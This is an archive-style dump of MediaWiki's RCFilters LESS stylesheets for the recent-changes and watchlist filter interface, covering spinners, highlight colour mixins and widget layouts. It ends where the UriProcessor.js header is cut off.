	.mw-special-Watchlist .mw-rcfilters-head {
		min-height: @rcfilters-wl-head-min-height;
	}

	.mw-rcfilters-collapsed {
		.mw-rcfilters-head {
			min-height: @rcfilters-head-min-height-collapsed;
		}

		// On the watchlist, reserve a bit more
		&.mw-special-Watchlist .mw-rcfilters-head {
			min-height: @rcfilters-wl-head-min-height-collapsed;
		}
	}

	.mw-recentchanges-toplinks {
		padding-left: 0.5em;

		&:not( .mw-recentchanges-toplinks-collapsed ) {
			// Make up for `border` to prevent link movement
			margin-top: @position-offset-border-width-base;
			margin-left: @position-offset-border-width-base;
			margin-bottom: 0.5em;
			border: @border-subtle; // Same as the legend
			padding: 0 0.5em 0.5em 0.5em;
		}

		/* stylelint-disable declaration-no-important */
		.oo-ui-buttonElement > .oo-ui-buttonElement-button {
			padding-right: 1.2em !important;

			> .oo-ui-indicatorElement-indicator {
				right: 0 !important;
				width: 0.9375em !important;
			}
		}
		/* stylelint-enable declaration-no-important */
	}

	body:not( .mw-rcfilters-ui-initialized ) {
		.mw-recentchanges-toplinks.mw-recentchanges-toplinks-collapsed {
			// Similar to the watchlist-details hack, we are going to make this float left
			// while loading to prevent jumpiness in the min-height calculation
			float: left;

			.mw-recentchanges-toplinks-content {
				display: none;
			}
		}

		.mw-rcfilters-head {
			opacity: 0.5;
			pointer-events: none;

			/* stylelint-disable-next-line selector-class-pattern */
			.cloptions {
				display: none;
			}
		}
	}

	.mw-rcfilters-ui-highlights {
		display: none;
	}

	.mw-changeslist {
		// Reserve space for the highlight circles
		ul,
		table.mw-enhanced-rc {
			.result-circle-margin();
		}
	}

	// Temporarily hide the empty results section while we load rcfilters.
	.mw-changeslist-empty {
		display: none;
	}

	.mw-recentchangeslinked-errorbox {
		display: none;
	}

	body.mw-rcfilters-ui-loading .mw-changeslist {
		opacity: 0.5;
	}

	.mw-rcfilters-spinner {
		display: none;
		position: absolute;
		left: 50%;
		// Make sure the middle of the spinner is centered, rather than its left edge
		margin-left: -3 * @rcfilters-spinner-size / 2;
		white-space: nowrap;

		& .mw-rcfilters-spinner-bounce,
		&::before,
		&::after {
			content: '';
			background-color: @background-color-progressive;
			display: block;
			float: left;
			width: @rcfilters-spinner-size;
			height: @rcfilters-spinner-size;
			border-radius: @border-radius-circle;
			animation: rcfiltersBouncedelay 1600ms ease-in-out -160ms infinite both;
		}

		&::before {
			margin-right: 4px;
			animation-delay: -330ms;
		}

		&::after {
			margin-left: 4px;
			animation-delay: 0s;
		}
	}

	body:not( .mw-rcfilters-ui-initialized ) .mw-rcfilters-spinner {
		display: block;
		// When initializing, display the spinner on top of the area where the UI will appear
		margin-top: -( @rcfilters-head-min-height + @rcfilters-head-margin-bottom ) / 1.5;
	}

	body.mw-rcfilters-ui-loading .mw-rcfilters-spinner {
		display: block;
		// When loading new results, display the spinner on top of the results area
		margin-top: -( @rcfilters-head-min-height + @rcfilters-head-margin-bottom ) / 8;
	}

	.mw-watchlist-owner,
	.mw-watchlist-toollinks,
	form#mw-watchlist-resetbutton {
		display: none;
	}

	// Why does rcfilters have a copy of this?
	// TODO: Remove per T195256.
	#jump-to-nav {
		margin-top: -0.5em;
		margin-bottom: 0.5em;
	}

	// Make the watchlist-details message display while loading, but make it not take up any
	// space. This makes the min-height trick work better.
	/* stylelint-disable-next-line selector-class-pattern */
	.watchlistDetails {
		float: left;
		// The 20em should match the min-width we are setting up
		// for the .mw-rcfilters-ui-watchlistTopSectionWidget-editWatchlistButton
		// in mw.rcfilters.ui.WatchlistTopSectionWidget.less
		width: ~'calc( 100% - 20em )';
	}
}

.mw-rcfilters-staticfilters-selected {
	font-weight: bold;
}

// on smaller screen, set .watchlistDetail to full width
// so that the spinner doesn't appear beside it. T225127#5518870
@media screen and ( max-width: @width-breakpoint-tablet ) {
	.client-js {
		/* stylelint-disable-next-line selector-class-pattern */
		.watchlistDetails {
			float: none;
			width: auto;
		}
	}
}

@keyframes rcfiltersBouncedelay {
	0%,
	50%,
	100% {
		transform: scale( 0.625 );
	}

	20% { // equals 320ms
		opacity: 0.87;
		transform: scale( 1 );
	}
}
mediawiki.rcfilters/styles/mw.rcfilters.ui.DatePopupWidget.less000066600000000632151335045660021032 0ustar00@import 'mediawiki.skin.variables.less';

.mw-rcfilters-ui-datePopupWidget {
	margin-top: 1em;
	border-top: @border-base;
	padding-top: 1em;

	&-title,
	&-days,
	&-hours {
		margin: 0 0.9375em;
	}

	&-days {
		margin-top: 0.7em;
		margin-bottom: 0.625em;
	}

	&-title {
		display: block;
		font-weight: bold;
		margin-bottom: 0.5em;
	}

	.mw-rcfilters-ui-valuePickerWidget-title {
		color: @color-subtle;
	}
}
mediawiki.rcfilters/styles/mw.rcfilters.ui.ItemMenuOptionWidget.less000066600000004140151335045660022043 0ustar00@import 'mediawiki.skin.variables.less';
@import 'mw.rcfilters.variables.less';
@import 'mediawiki.mixins.less';

.mw-rcfilters-ui-itemMenuOptionWidget {
	padding: 0 0.5em;
	box-sizing: border-box;

	&:not( :last-child ):not( .mw-rcfilters-ui-itemMenuOptionWidget-identifier-talk ) {
		border-bottom: @border-width-base @border-style-base #eaecf0;
	}

	&-view-namespaces {
		border-top: 4px solid @border-color-subtle;
	}

	// Don't show border for first namespace & hide for every 'talk' option in second selector
	&-view-default + &-view-namespaces,
	&-view-namespaces&.mw-rcfilters-ui-itemMenuOptionWidget-identifier-subject + &-view-namespaces.mw-rcfilters-ui-itemMenuOptionWidget-identifier-talk {
		border-top: 0;
	}

	&:hover {
		background-color: @background-color-interactive-subtle;
	}

	.mw-rcfilters-ui-table {
		padding-top: 6 / @font-size-system-ui / @font-size-vector;
		padding-bottom: 6 / @font-size-system-ui / @font-size-vector;
	}

	&.oo-ui-optionWidget-selected {
		background-color: @background-color-progressive-subtle;
	}

	&-label {
		&-title {
			font-weight: bold;
			font-size: 1.15em;
			color: @color-base;
		}

		&-desc {
			color: @color-subtle;
			white-space: normal;
		}
	}

	&-itemCheckbox {
		.oo-ui-fieldLayout-body > .oo-ui-fieldLayout-header {
			padding-left: 12 / @font-size-system-ui / @font-size-vector;
		}

		.oo-ui-fieldLayout.oo-ui-fieldLayout-align-inline {
			// Override margin-top and -bottom rules from FieldLayout
			margin: 0 !important; /* stylelint-disable-line declaration-no-important */

			.oo-ui-fieldLayout-body > .oo-ui-fieldLayout-field {
				vertical-align: middle;
			}
		}

		.oo-ui-checkboxInputWidget {
			// Workaround for IE11 rendering issues. T162098
			display: block;
		}

		label {
			// Workaround for Chrome browser bug (T199932)
			// Override padding rule from FieldLayout
			padding-left: 0 !important; /* stylelint-disable-line declaration-no-important */
		}
	}

	.mw-rcfilters-ui-cell {
		vertical-align: middle;
	}

	&-excludeLabel {
		width: 5em;
		padding-left: 1em;
		color: @color-subtle;
	}

	&-highlightButton {
		width: 4em;
		padding-left: 1em;
	}
}
mediawiki.rcfilters/styles/mw.rcfilters.ui.FilterTagMultiselectWidgetMobile.less000066600000001564151335045660024362 0ustar00@import 'mediawiki.skin.variables.less';
@import 'mediawiki.mixins.less';

.mw-rcfilters-ui-filterTagMultiselectWidget-mobile {

	// Them mobile version of the search input is meant to function
	// as a button, so styles are modified to that effect. See T224655 for details.
	.oo-ui-tagMultiselectWidget-input {
		& .oo-ui-iconElement-icon {
			opacity: 1;
			cursor: pointer;
		}

		&.oo-ui-textInputWidget input[ readonly ] {
			background-color: @background-color-base;
			font-weight: bold;
			cursor: pointer;
			.mixin-placeholder( { color: @color-emphasized; } );
		}
	}

	.mw-rcfilters-ui-filterTagMultiselectWidget-mobile-view {
		width: 100%;
		margin-top: -1px;

		& .oo-ui-buttonWidget {
			width: 50%;

			& .oo-ui-buttonElement-button {
				width: 100%;
				/* stylelint-disable-next-line plugin/no-unsupported-browser-features */
				text-align: initial;
			}
		}
	}
}
mediawiki.rcfilters/styles/mw.rcfilters.ui.Overlay.less000066600000000466151335045660017413 0ustar00.mw-rcfilters-ui-overlay {
	position: absolute;
	top: 0;
	right: 0;
	left: 0;
	// Set this here to avoid MenuSelectWidgets winding up behind the content in some skins (Example, CologneBlue, most third-party skins)
	// Also avoids weird layering issues in skins with fixed headers, like Timeless
	z-index: 1;
}
mediawiki.rcfilters/styles/mw.rcfilters.ui.SaveFiltersPopupButtonWidget.less000066600000000553151335045660023602 0ustar00@import 'mediawiki.skin.variables.less';
@import 'mediawiki.mixins.less';

.mw-rcfilters-ui-saveFiltersPopupButtonWidget {
	&-popup {
		&-layout,
		&-options {
			padding-bottom: 1.5em;
		}

		> .oo-ui-popupWidget-popup > .oo-ui-popupWidget-head {
			> .oo-ui-labelElement-label {
				font-size: 1.2em;
				font-weight: bold;
				line-height: 1.25;
			}
		}
	}
}
mediawiki.rcfilters/styles/mw.rcfilters.ui.FilterMenuOptionWidget.monobook.less000066600000000233151335045660024213 0ustar00.mw-rcfilters-ui-filterMenuOptionWidget {
	&.oo-ui-menuOptionWidget.oo-ui-optionWidget-selected > .oo-ui-iconElement-icon {
		background-image: none;
	}
}
mediawiki.rcfilters/styles/mw.rcfilters.ui.SavedLinksListWidget.less000066600000001545151335045660022034 0ustar00@import 'mediawiki.skin.variables.less';

.mw-rcfilters-ui-savedLinksListWidget {
	&-placeholder {
		&-title {
			font-weight: bold;
			margin-bottom: 0.4375em; // 7px / 16
			margin-top: 0.1875em; // 3px / 16
		}

		&-description {
			line-height: 1.5em; // 24px / 16
		}

		// Extra specificity needed to override OOUI rule that sets white-space: nowrap;
		// on labels inside options
		&.oo-ui-optionWidget .oo-ui-labelElement-label {
			color: @color-subtle;
			white-space: normal;
		}

		.oo-ui-iconElement-icon {
			opacity: 0.5;
			// Override OOUI option widget rules for icons
			// we want the icon to appear at the top near the
			// title, not in the middle of the multiline option
			top: 0.7em !important; /* stylelint-disable-line declaration-no-important */
			height: inherit !important; /* stylelint-disable-line declaration-no-important */
		}
	}
}
mediawiki.rcfilters/styles/mw.rcfilters.mixins.less000066600000007370151335045660016666 0ustar00@import 'mediawiki.skin.variables.less';
@import 'mw.rcfilters.variables.less';
@import 'mediawiki.mixins.less';

/* stylelint-disable selector-class-pattern */

// Circle mixin
.mw-rcfilters-circle( @min-size-diameter: @min-size-circle, @size-diameter: @size-circle, @margin: 0.5em ) {
	box-sizing: border-box;
	min-width: @min-size-diameter;
	width: @size-diameter;
	min-height: @min-size-diameter;
	height: @size-diameter;
	margin: @margin;
	border-radius: @border-radius-circle;
}

// Circle color mixin
.mw-rcfilters-circle-color( @param-background-color: @background-color-base, @param-border: false, @param-border-color: #54595d, @param-empty-background: false ) {
	& when ( @param-empty-background = false ) {
		background-color: @param-background-color;
	}

	& when ( @param-empty-background = true ) {
		background-color: @highlight-none;
	}

	& when ( @param-border = true ) {
		border: @border-width-base @border-style-base @param-border-color;
	}
}

// This is the circle that appears next to the results
// Its visibility is directly dependent on whether there is
// a color class on its parent element
.result-circle( @colorName: 'none' ) {
	&-@{colorName} {
		display: none;
		.mw-rcfilters-circle-color( ~'@{highlight-@{colorName}}' );

		.mw-rcfilters-highlight-color-@{colorName} & {
			display: inline-block;
		}
	}
}

// A mixin for changes list containers. Applies enough margin-left to fit the 5 highlight circles.
.result-circle-margin() {
	margin-left: ~'calc( ( @{size-circle-result} + @{margin-circle-result} ) * 5 + @{margin-circle} )';
}

// A mixin just for changesListWrapperWidget page, to output the scope of the widget
// so it is before the rest of the rule; we need the li& to be in
// between the wrapper scope and the color-cX class, which doesn't
// work if the rules are inside the above widget LESS scope
.highlight-results( @bgcolor ) {
	.mw-rcfilters-ui-changesListWrapperWidget li&,
	.mw-rcfilters-ui-changesListWrapperWidget & tr:first-child,
	.mw-rcfilters-ui-changesListWrapperWidget tr&.mw-rcfilters-ui-highlights-enhanced-toplevel:not( .mw-rcfilters-ui-changesListWrapperWidget-enhanced-grey ) td:not( :nth-child( -n+2 ) ),
	.mw-rcfilters-ui-changesListWrapperWidget tr&.mw-rcfilters-ui-highlights-enhanced-nested:not( .mw-rcfilters-ui-changesListWrapperWidget-enhanced-grey ) td:not( :nth-child( -n+4 ) ) {
		background-color: @bgcolor;
	}
}

// This mixin produces color mixes for two, three and four colors
.highlight-color-mix( @color1, @color2, @color3: false, @color4: false ) {
	@highlight-color-class-var: ~'.mw-rcfilters-highlight-color-@{color1}.mw-rcfilters-highlight-color-@{color2}';

	// The nature of these variables and them being inside
	// a 'tint' and 'average' LESS functions is such where
	// the parsing is failing if it is done inside those functions.
	// Instead, we first construct their LESS variable names,
	// and then we call them inside those functions by calling @@var
	@c1var: ~'highlight-@{color1}';
	@c2var: ~'highlight-@{color2}';

	// Two colors
	@{highlight-color-class-var} when ( @color3 = false ) and ( @color4 = false ) and not ( @color1 = false ), ( @color2 = false ) {
		.highlight-results( tint( average( @@c1var, @@c2var ), 50% ) );
	}
	// Three colors
	@{highlight-color-class-var}.mw-rcfilters-highlight-color-@{color3} when ( @color4 = false ) and not ( @color3 = false ) {
		@c3var: ~'highlight-@{color3}';
		.highlight-results( tint( mix( @@c1var, average( @@c2var, @@c3var ), 33% ), 30% ) );
	}

	// Four colors
	@{highlight-color-class-var}.mw-rcfilters-highlight-color-@{color3}.mw-rcfilters-highlight-color-@{color4} when not ( @color4 = false ) {
		@c3var: ~'highlight-@{color3}';
		@c4var: ~'highlight-@{color4}';
		.highlight-results( tint( mix( @@c1var, mix( @@c2var, average( @@c3var, @@c4var ), 25% ), 25% ), 25% ) );
	}
}
mediawiki.rcfilters/styles/mw.rcfilters.ui.TagItemWidget.less000066600000004435151335045660020470 0ustar00@import 'mediawiki.skin.variables.less';
@import 'mw.rcfilters.variables.less';
@import 'mw.rcfilters.mixins.less';

@size-circle: 20 / @font-size-system-ui / @font-size-vector;
@margin-circle: 5 / @font-size-system-ui / @font-size-vector;

.mw-rcfilters-ui-tagItemWidget {
	// Background and color of the capsule widget need a bit
	// more specificity to override OOUI internals
	&.oo-ui-flaggedElement-muted.oo-ui-tagItemWidget.oo-ui-widget-enabled {
		// Muted state
		background-color: @background-color-interactive;
		border-color: @border-color-subtle;

		.oo-ui-labelElement-label {
			color: @color-subtle;
		}

		.oo-ui-buttonWidget {
			opacity: 0.5;
		}
	}

	&.oo-ui-flaggedElement-invalid.oo-ui-tagItemWidget.oo-ui-widget-enabled {
		.oo-ui-labelElement-label {
			// Use `@color-destructive--active` due to TagitemWidget's grey background
			// in order to stay iin WCAG 2.0 level AA contrast ratio requirement.
			color: @color-destructive--active;
		}
	}

	// OOUI classes require super-specificity in order to override
	// the white background
	// The specificity is fixed in the patch: https://gerrit.wikimedia.org/r/#/c/349525/
	// and will be available in the next OOUI release.
	.oo-ui-tagMultiselectWidget.oo-ui-widget-enabled.oo-ui-tagMultiselectWidget-outlined &-selected.oo-ui-tagItemWidget.oo-ui-widget-enabled {
		background-color: @background-color-progressive-subtle;
		border-color: @border-color-progressive--focus;
	}

	&-popup-content {
		padding: 0.5em;
		color: @color-subtle;
	}

	&.oo-ui-labelElement:not( .oo-ui-tagItemWidget-fixed ) .oo-ui-labelElement-label {
		cursor: pointer;
	}

	&-highlight {
		display: none;
		width: 10px;
		margin-right: @margin-circle;

		&-highlighted {
			display: inline-block;
		}

		&::before {
			content: '';
			display: block;
			position: absolute;
			top: 50%;
			.mw-rcfilters-circle( 10px, 10px, ~'-5px 0.5em 0 0' );
		}

		&[ data-color='c1' ]::before {
			.mw-rcfilters-circle-color( @highlight-c1 );
		}

		&[ data-color='c2' ]::before {
			.mw-rcfilters-circle-color( @highlight-c2 );
		}

		&[ data-color='c3' ]::before {
			.mw-rcfilters-circle-color( @highlight-c3 );
		}

		&[ data-color='c4' ]::before {
			.mw-rcfilters-circle-color( @highlight-c4 );
		}

		&[ data-color='c5' ]::before {
			.mw-rcfilters-circle-color( @highlight-c5 );
		}
	}
}
mediawiki.rcfilters/styles/mw.rcfilters.ui.ChangesListWrapperWidget.less000066600000013013151335045660022673 0ustar00@import 'mediawiki.skin.variables.less';
@import 'mw.rcfilters.variables.less';
@import 'mw.rcfilters.mixins.less';

@keyframes fadeBlue {
	60% {
		border-top-color: @border-color-progressive;
	}

	100% {
		border-top-color: @border-color-subtle;
	}
}

.mw-rcfilters-ui-changesListWrapperWidget {
	position: relative;
	// `.mw-changeslist-legend` child element is floated and must be cleared (T279008#6967026).
	.mixin-clearfix();

	&-newChanges {
		min-height: 34px;
		margin: 8px 0 0 0;
		text-align: center;
	}

	&-previousChangesIndicator {
		margin: 10px 0;
		border-top: @border-width-thick @border-style-base @border-color-subtle;
		animation: 1s ease fadeBlue;
	}

	&-results {
		margin: 5em auto;

		&-noresult,
		&-conflict {
			margin-bottom: 0.5em;
			font-weight: bold;
			text-align: center;
		}
	}

	// Rule needs to be specific
	// We want the expand button to appear outside the color
	// to match the way the general highlight background appears
	&-enhanced-grey td:not( :nth-child( -n+2 ) ) {
		background-color: @background-color-rcfilters-light-gray;
	}

	&-highlighted {
		ul {
			list-style: none;

			li {
				list-style: none;
			}
		}
	}

	.mw-changeslist-legend {
		background-color: @background-color-base;
		position: relative; // We want to keep the legend accessible when results are overlaid
		z-index: 1; // Keep opacity-animated highlights from appearing on top of the legend
		border: @border-subtle;
	}

	.mw-changeslist-overlay {
		position: absolute;
		display: none;
		width: 100%;
		height: 100%;
	}

	&--overlaid > .mw-changeslist-overlay {
		display: block;
	}

	// Correction for Enhanced RC
	// This is outside the scope of the 'highlights' wrapper
	table.mw-enhanced-rc {
		td:last-child {
			width: 100%;
		}
	}
}

.mw-rcfilters-ui-highlights {
	display: none;
	padding: 0 @margin-circle 0 0;
	// The width is 5 circles times their diameter + individual margin
	// and then plus the general margin
	width: ~'calc( ( @{size-circle-result} + @{margin-circle-result} ) * 5 )';
	// And we want to shift the entire block to the left of the li
	position: relative;
	// Negative left margin of width + padding
	margin-left: ~'calc( ( @{size-circle-result} + @{margin-circle-result} ) * -5 - @{margin-circle} )';

	.mw-rcfilters-ui-changesListWrapperWidget-highlighted & {
		display: inline-block;
	}

	// This needs to be very specific, since these are
	// position rules that should apply to all overrides
	.mw-rcfilters-ui-changesListWrapperWidget & > div {
		vertical-align: middle;
		.mw-rcfilters-circle( @size-circle-result, @size-circle-result, 0 );
		// This is to make the dots appear at the center of the
		// text itself; it's a horrendous hack and blame JamesF for it.
		margin-top: -2px;
		margin-right: @margin-circle-result;
		float: right;
	}

	&-color {
		&-none {
			.mw-rcfilters-circle-color( @highlight-none, true );
			display: inline-block;

			.mw-rcfilters-highlight-color-c1 &,
			.mw-rcfilters-highlight-color-c2 &,
			.mw-rcfilters-highlight-color-c3 &,
			.mw-rcfilters-highlight-color-c4 &,
			.mw-rcfilters-highlight-color-c5 & {
				display: none;
			}
		}
		.result-circle( c1 );
		.result-circle( c2 );
		.result-circle( c3 );
		.result-circle( c4 );
		.result-circle( c5 );
	}
}

// One color
.mw-rcfilters-highlight-color-c1 {
	.highlight-results( tint( @highlight-c1, 70% ); );
}

.mw-rcfilters-highlight-color-c2 {
	.highlight-results( tint( @highlight-c2, 70% ); );
}

.mw-rcfilters-highlight-color-c3 {
	.highlight-results( tint( @highlight-c3, 70% ); );
}

.mw-rcfilters-highlight-color-c4 {
	.highlight-results( tint( @highlight-c4, 70% ); );
}

.mw-rcfilters-highlight-color-c5 {
	.highlight-results( tint( @highlight-c5, 70% ); );
}

// Two colors
.highlight-color-mix( c1, c2 );
// Overriding .highlight-color-mix( c1, c3 ); to produce
// a custom color rather than the computed tint
// see https://phabricator.wikimedia.org/T161267
.mw-rcfilters-highlight-color-c1.mw-rcfilters-highlight-color-c3 {
	.highlight-results( @background-color-rcfilters-light-green );
}
.highlight-color-mix( c1, c4 );
.highlight-color-mix( c1, c5 );
.highlight-color-mix( c2, c3 );
.highlight-color-mix( c2, c4 );
.highlight-color-mix( c2, c5 );
.highlight-color-mix( c3, c4 );
.highlight-color-mix( c3, c5 );
.highlight-color-mix( c4, c5 );

// Three colors
.highlight-color-mix( c1, c2, c3 );
.highlight-color-mix( c1, c2, c5 );
.highlight-color-mix( c1, c2, c4 );
.highlight-color-mix( c1, c3, c4 );
.highlight-color-mix( c1, c3, c5 );
.highlight-color-mix( c1, c4, c5 );
.highlight-color-mix( c2, c3, c4 );
.highlight-color-mix( c2, c3, c5 );
.highlight-color-mix( c2, c4, c5 );
.highlight-color-mix( c3, c4, c5 );

// Four colors
.highlight-color-mix( c1, c2, c3, c4 );
.highlight-color-mix( c1, c2, c3, c5 );
.highlight-color-mix( c1, c2, c4, c5 );
.highlight-color-mix( c1, c3, c4, c5 );
.highlight-color-mix( c2, c3, c4, c5 );

// Five colors
.mw-rcfilters-highlight-color-c1.mw-rcfilters-highlight-color-c2.mw-rcfilters-highlight-color-c3.mw-rcfilters-highlight-color-c4.mw-rcfilters-highlight-color-c5 {
	.highlight-results( tint( mix( @highlight-c1, mix( @highlight-c2, mix( @highlight-c3, average( @highlight-c4, @highlight-c5 ), 20% ), 20% ), 20% ), 15% ) );
}

@media screen and ( min-width: @width-breakpoint-tablet ) {
	// center conflict message
	// e.g. Special:RecentChanges?goodfaith=maybebad&hidepageedits=1&hidenewpages=1&hidecategorization=1&hideWikibase=1&limit=50&days=0.0833&enhanced=1&urlversion=2
	// More context in https://phabricator.wikimedia.org/T223363#5374874
	.mw-rcfilters-ui-changesListWrapperWidget {
		&-results {
			width: 35em;
		}
	}
}
mediawiki.rcfilters/styles/mw.rcfilters.ui.FilterMenuOptionWidget.less000066600000002645151335045660022402 0ustar00@import 'mediawiki.skin.variables.less';
@import 'mw.rcfilters.variables.less';
@import 'mediawiki.mixins.less';

.mw-rcfilters-ui-filterMenuOptionWidget {
	.mw-rcfilters-ui-filterMenuSectionOptionWidget ~ & {
		padding-left: 12 / @font-size-system-ui / @font-size-vector;
		padding-right: 12 / @font-size-system-ui / @font-size-vector;
	}

	&.oo-ui-flaggedElement-muted {
		&:not( .oo-ui-optionWidget-selected ) {
			// Namespaces are muted 'the other way around' when they
			// are also inverted, so if they are also selected, we
			// should make sure the selected background is shown rather
			// than the muted one
			background-color: @background-color-interactive-subtle;
		}

		.mw-rcfilters-ui-itemMenuOptionWidget-label-title,
		.mw-rcfilters-ui-itemMenuOptionWidget-label-desc {
			color: @color-subtle;
		}

		&.oo-ui-optionWidget-highlighted {
			// Copying over styles from OOUI, since it must
			// override our 'muted' state
			background-color: @background-color-interactive;
			color: @color-emphasized;
		}
	}

	// Override OOUI's pretty specific
	// `.oo-ui-fieldLayout.oo-ui-labelElement.oo-ui-fieldLayout-align-inline > .oo-ui-fieldLayout-body > .oo-ui-fieldLayout-header`
	// selector
	.mw-rcfilters-ui-itemMenuOptionWidget-itemCheckbox > .oo-ui-fieldLayout > .oo-ui-fieldLayout-body > .oo-ui-fieldLayout-header {
		padding-top: 0;
		padding-bottom: 0;
		padding-left: 12 / @font-size-system-ui / @font-size-vector;
	}
}
mediawiki.rcfilters/styles/mw.rcfilters.ui.FilterMenuHeaderWidget.less000066600000002165151335045660022317 0ustar00@import 'mediawiki.skin.variables.less';
@import 'mw.rcfilters.variables.less';
@import 'mediawiki.mixins.less';

.mw-rcfilters-ui-filterMenuHeaderWidget {
	&-title {
		display: inline-block;
		font-size: 1.2em;
		padding: 0.75em 0 0.75em 0.5em;
		color: @color-subtle;
	}

	&-helpIcon {
		position: absolute;
		top: 50%;
		transform: translateY( -50% );
	}

	&-header {
		border-bottom: @border-subtle;
		background-color: #f8f9fa;

		&-highlight {
			min-width: 1em;
			// Using the same padding that the filter item
			// uses, so the button is aligned with the highlight
			// buttons for the filters
			padding-right: 12 / @font-size-system-ui / @font-size-vector;
			// Set the left-padding here, so that the invert buttons have the same padding
			padding-left: 12 / @font-size-system-ui / @font-size-vector;
		}

		&-back {
			width: 1em;

			.mw-rcfilters-ui-filterMenuHeaderWidget-backButton:first-child {
				// Overwrite `.oo-ui-buttonElement-frameless.oo-ui-iconElement:first-child`
				margin-left: 0;
			}
		}

		&-title {
			position: relative;
			width: 100%;
		}
	}

	.mw-rcfilters-ui-cell {
		vertical-align: middle;
	}
}
mediawiki.rcfilters/styles/mw.rcfilters.ui.LiveUpdateButtonWidget.less000066600000001506151335045660022370 0ustar00@import 'mediawiki.skin.variables.less';
@import 'mediawiki.mixins.less';

.mw-rcfilters-ui-liveUpdateButtonWidget {
	margin: 0;

	&.oo-ui-toggleWidget-on {
		position: relative;
		overflow: hidden;
		z-index: 0;

		&::after {
			content: '';
			/* stylelint-disable-next-line plugin/no-unsupported-browser-features */
			mix-blend-mode: screen;
			pointer-events: none;
			position: absolute;
			width: 1.875em;
			height: 1.875em;
			top: 1.875em / 4;
			left: 0.46875em;
			background: rgba( 51, 102, 204, 0.5 );
			border-radius: @border-radius-circle;
			opacity: 0;
			animation: ripple 2.3s ease-out infinite;
			animation-delay: 1s;
		}
	}
}

@keyframes ripple {
	0%,
	35% {
		transform: scale( 0 );
		opacity: 1;
	}

	50% {
		transform: scale( 1.5 );
		opacity: 0.8;
	}

	80%,
	100% {
		opacity: 0;
		transform: scale( 4 );
	}
}
mediawiki.rcfilters/styles/mw.rcfilters.ui.less000066600000000312151335045660015761 0ustar00.mw-rcfilters-ui {
	&-table {
		display: table;
		width: 100%;

		&-placeholder {
			width: 100%;
		}
	}

	&-row {
		display: table-row;
	}

	&-cell {
		display: table-cell;
		vertical-align: top;
	}
}
mediawiki.rcfilters/styles/mw.rcfilters.ui.FilterTagMultiselectWidget.less000066600000010342151335045660023224 0ustar00@import 'mediawiki.skin.variables.less';
@import 'mw.rcfilters.variables.less';
@import 'mediawiki.mixins.less';

.mw-rcfilters-ui-filterTagMultiselectWidget {
	max-width: none;
	margin-top: 16px;

	.oo-ui-tagMultiselectWidget-input input {
		// Make sure this uses the interface direction, not the content direction
		direction: ltr;
		border-bottom-right-radius: 0;
		height: 2.5em;
	}

	&.oo-ui-widget-enabled {
		.oo-ui-tagMultiselectWidget-handle {
			background-color: @background-color-interactive-subtle;
			border: @border-base;
			border-bottom: 0;
			border-radius: @border-radius-base @border-radius-base 0 0;
			padding: 0 0.6em 0.6em 0.6em;
			line-height: normal;
		}

		// Hamburger menu for dropdown.
		.oo-ui-tagMultiselectWidget-input > .oo-ui-icon-menu {
			cursor: pointer;
		}
	}

	.mw-rcfilters-collapsed & {
		// Taking from the handle, since border-bottom is set on the
		// filters view which is hidden when collapsed
		border-bottom: @border-base;

		&.mw-rcfilters-ui-filterTagMultiselectWidget.oo-ui-widget-enabled .oo-ui-tagMultiselectWidget-handle {
			padding-bottom: 0;
			padding-top: 0;
		}

		.mw-rcfilters-ui-filterTagMultiselectWidget-wrapper-hideshow {
			border-left: @border-base;
		}

		&.oo-ui-tagMultiselectWidget-outlined {
			// per T177206#4271707 we avoid keeping the collapsed element to take the whole width of the screen
			// we are providing enough cues (keeping the labels) for it to be clear that the panel gets compacted
			// to the left and the user not to feel lost with the transition.
			width: auto;
			max-width: 100%;
		}

		// Hide inner elements
		.mw-rcfilters-ui-filterTagMultiselectWidget-wrapper-filters,
		.mw-rcfilters-ui-filterTagMultiselectWidget-views,
		.mw-rcfilters-ui-filterTagMultiselectWidget-views-input {
			display: none;
		}
	}

	.oo-ui-tagMultiselectWidget.oo-ui-widget-enabled &-animate.oo-ui-tagMultiselectWidget-handle {
		transition: background-color 500ms ease-out;
	}

	.oo-ui-tagMultiselectWidget.oo-ui-widget-enabled &-emphasize.oo-ui-tagMultiselectWidget-handle {
		background-color: @background-color-progressive-subtle;
	}

	&-hideshowButton.oo-ui-buttonElement > .oo-ui-buttonElement-button {
		// Override the OOUI default for buttons
		font-weight: normal;
	}

	&-wrapper {
		&-top {
			display: flex;
			flex-wrap: nowrap;
			justify-content: space-between;

			&-title {
				padding: 0.6em 0; // Same top padding as the handle
				flex: 0 0 auto;
			}

			&-queryName {
				flex: 1 1 auto;
				padding: 0.6em 0; // Same top padding as the handle
				white-space: nowrap;
				min-width: 0; // This has to be here to enable the text truncation
				overflow: hidden;
				text-overflow: ellipsis;
			}

			&-hideshow {
				flex: 0 0 auto;
				margin-left: 0.5em;
				padding-left: 0.5em;
			}
		}

		&-content {
			&-title {
				font-weight: bold;
				color: @color-subtle;
				white-space: nowrap;
			}

			&-savedQueryTitle {
				color: @color-base;
				padding-left: 1em;
				font-weight: bold;
				vertical-align: top;
				overflow: hidden;
				text-overflow: ellipsis;
				white-space: nowrap;
				// This is necessary for Firefox to be able to
				// truncate the text. Without this rule, the label
				// is treated as if it's full-width, and while it is
				// being truncated with the overflow:hidden,
				// the ellipses isn't showing properly.
				// This rule seems to convince Firefox to re-render,
				// fix the label's width properly, and add the ellipses
				max-width: 100%;
			}
		}
	}

	&-views {
		&-input {
			width: 100%;
		}

		&-select {
			&-widget.oo-ui-widget {
				display: block;
				box-sizing: border-box;
				height: 2.5em;
				border: @border-base;
				border-left-width: 0;
				border-radius: 0 0 @border-radius-base 0;
				// For `padding-right` using the 'left' value from
				// .oo-ui-buttonElement-frameless.oo-ui-iconElement >
				// .oo-ui-buttonElement-button > .oo-ui-iconElement-icon
				padding-right: 0.35714286em;
				text-align: right;
				white-space: nowrap;

				.oo-ui-buttonWidget:first-child {
					margin-left: 0;
				}
			}
		}
	}

	&-emptyFilters {
		color: @color-subtle;
	}

	&-cell-filters {
		width: 100%;

		div.oo-ui-tagMultiselectWidget-group {
			margin-top: 0.2em;
			display: block;
		}
	}

	&-cell-reset {
		text-align: right;
		padding-left: 0.5em;
	}
}
mediawiki.rcfilters/UriProcessor.js000066600000020337151335045660013521 0ustar00/* eslint no-underscore-dangle: "off" */
/**
 * URI Processor for RCFilters
 *
 * @class mw.rcfilters.UriProcessor
 *
 * @constructor
 * @param {mw.rcfilters.dm.FiltersViewModel} filtersModel Filters view model
 * @param {Object} [config] Configuration object
 * @cfg {boolean} [normalizeTarget] Dictates whether or not to go through the
